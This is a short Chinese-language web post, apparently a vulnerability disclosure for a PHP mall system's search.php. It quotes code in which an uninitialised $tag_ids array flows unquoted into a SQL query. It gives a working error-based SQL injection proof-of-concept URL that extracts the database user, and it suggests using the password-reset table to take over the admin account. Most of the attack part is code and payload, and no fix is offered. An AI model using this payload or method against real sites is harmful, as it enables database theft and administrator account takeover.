<p>代码如下:</p><p>require_once ‘include/common.inc.php’;</p><p>require_once ROOTPATH.’header.php’;</p><p>if($action!=’search’){</p><p>$search_key = ”;</p><p>if (isset($ps_search))</p><p>{ //省略一堆东西</p><p>$tag_ids = array(); //在if里</p><p>//继续省略</p><p>while ($row = $db->fetch_array($result)) {</p><p>$tag_ids[] = $row['goods_id'];</p><p>} //也是在if里</p><p>}</p><p>//省略一堆东西</p><p>} //结束if里的东西</p><p>//商品标签搜索</p><p>$tag_ids = array_unique($tag_ids); //没有ps_search他就没初始化!可自行输入</p><p>$tag_search = implode(‘,’,dhtmlchars($tag_ids)); //dhtmlchars过滤HTML标签不用理会</p><p>$tag_search && $tag_search = “OR uid IN($tag_search)”; //呼…..成功了!</p><p>//省略无关东西</p><p>$search_sql = “WHERE upv = ’1′ AND up_date<=’$m_now_time’”.” AND (( 1 ” . $cat_search . $search_key . $brand_search . $min_search . $max_search .” ) “.$tag_search.” )”;//没有单引号的….</p><p>$total_count = $db->counter($mvm_goods_table,$search_sql);</p><p>用ADMIN的用户和MALL后用找回密码功能 mvm_lostpass存放验证串直接改密码了。</p><p><br></p><p>POC: <a href="http://URL/search.php?tag_ids" rel="nofollow">http://URL/search.php?tag_ids</a>[goods_id]=uid))%20and(select%201%20from(select%20count(*),concat((select%20(select%20user())%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23</p>
暂无评论